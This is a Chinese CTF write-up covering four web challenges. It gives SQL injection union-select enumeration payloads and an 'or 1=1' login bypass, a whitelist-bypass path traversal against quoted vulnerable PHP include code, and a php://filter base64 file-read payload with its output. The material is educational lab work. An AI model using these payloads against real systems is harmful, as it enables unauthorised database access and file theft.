1[極客大挑戰 2019]EasySQL
根據題目,用單引號檢測是否存在SQL隱碼攻擊漏洞
分析報錯資訊:看'單引號後面跟著的字元,是什麼字元,它的閉合字元就是什麼,若是沒有,就為數字型。
在兩個位置用單引號測試,發現閉合符號為單引號,注入點在password
萬能密碼法
常規法
注入流程
資料庫->表->欄位->值
根據注入位置資料型別將sql注入分類
利用order判斷欄位數
order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯
?id=1' order by 3--+
利用 union select 聯合查詢,將id值設定成不成立,即可探測到可利用的欄位數payload是插入到原來的語句當中,構成了兩個sql的語句,當第一個sql語句正確返回時,便不會顯示第二個sql語句的結果。
?id=-1 union select 1,2,3 --+
利用函式database(),user(),version()可以得到所探測資料庫的資料庫名、使用者名稱和版本號
?id=-1' union select 1,database(),version() --+
利用 union select 聯合查詢,獲取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+
利用 union select 聯合查詢,獲取欄位名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知庫名' table_name='已知表名'--+
利用 union select 聯合查詢,獲取欄位值
?id=-1' union select 1,2,group_concat(已知欄位名,':'已知欄位名) from 已知表名--+
本題payload:
?username=1&password=1' or 1=1%23
[極客大挑戰 2019]EasySQL - 知乎 (zhihu.com)
2[極客大挑戰 2019]Havefun
檢視原始碼,找到這道題的關鍵
payload:
?cat=dog
我還以為是xss😦
3[HCTF 2018]WarmUp
檢視頁面原始碼,發現source.php
訪問/source.php
is_string():檢測變數是否是字串
isset():檢測變數是否已設定並且非 NULL
in_array(要搜尋的值,要搜尋的陣列):搜尋陣列中是否存在指定的值
mb_substr($page,n,m):返回page中從第n位開始,到n+m位字串的值
mb_strpos():查詢字串在另一個字串中首次出現的位置
urldecode():將url編碼後的字串還原成未編碼的樣子
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//初始化一個白名單陣列`$whitelist`,其中只包含兩個檔案:"source.php" 和 "hint.php"。
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//首先檢查`$page`變數是否存在且為字串型別。
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//如果`$page`在白名單內,則返回`true`。
if (in_array($page, $whitelist)) {
return true;
}
//接著,嘗試去除`$page`中的查詢字串部分(即`?`之後的部分),並檢查處理後的`$_page`是否在白名單內。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//然後,對`$page`進行URL解碼(`urldecode`),並再次去除查詢字串部分,並檢查處理後的`$_page`是否在白名單內。
if (in_array($_page, $whitelist)) {
return true;
}
//如果所有檢查都失敗,則返回`false`並輸出"you can't see it"。
echo "you can't see it";
return false;
}
}
//檢查`$_REQUEST['file']`是否存在、是否為字串,並透過`emmm::checkFile`方法檢查其是否在白名單內。
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
payload:
?file=hint.php
我們發現最底部的if語句為執行條件,有三個條件,第一個判斷檔案不能為空(檢查是否傳了file引數),第二這個傳的引數是字串,第三要過白名單檢測,過了之後包含 隱藏了flag的檔案。我們再看上面的if語句,白名單是hint.php,又有mb_strpos和mb_substr擷取內容,碰到?就截止,所以我們只需要輸入 source.php?file=hint.php?即可繞過白名單檢測,然後在輸入…/逐級跳轉目錄讀取flag即可,可以一個一個試
/source.php?file=hint.php?file=../../../../../ffffllllaaaagggg
4[ACTF2020 新生賽]Include
我們點選tips這個連結,發現url發生變化
猜測檔案包含漏洞,此時就要想辦法檢視這個檔案,那怎樣來檢視呢
重要的知識點——PHP封裝協議:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中獨有的一個協議,可以作為一箇中間流來處理其他流,可以進行任意檔案的讀取;根據名字filter,可以很容易想到這個協議可以用來過濾一些東西; 使用不同的引數可以達到不同的目的和效果:
resource=<要過濾的資料流> 指定了你要篩選過濾的資料流。 必選
read=<讀鏈的篩選列表> 可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
write=<寫鏈的篩選列表> 可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
<;兩個鏈的篩選列表> 任何沒有以 read= 或write=作字首 的篩選器列表會視情況應用於讀或寫鏈。
php://filter與包含函式結合時,php://filter流會被當作php檔案執行。所以我們一般對其進行編碼,阻止其不執行。從而導致任意檔案讀取。
read=convert.base64-encode,用base64編碼輸出,不然會直接當做php程式碼執行,看不到原始碼內容。
PHP偽協議(封裝協議/內建協議)_php封裝協議-CSDN部落格
PHP: php:// - Manual
php://filter協議,用base64編碼的方式來讀檔案flag.php;這時頁面會顯示出原始檔flag.php經過base64編碼後的內容,然後經過base64解碼就可以看到flag;
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64編碼後的內容為:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDg0M2YzM2YtNzY2Zi00YzllLTg5Y2QtYzU2M2IzZmMyMDhkfQo=
接著base64解碼: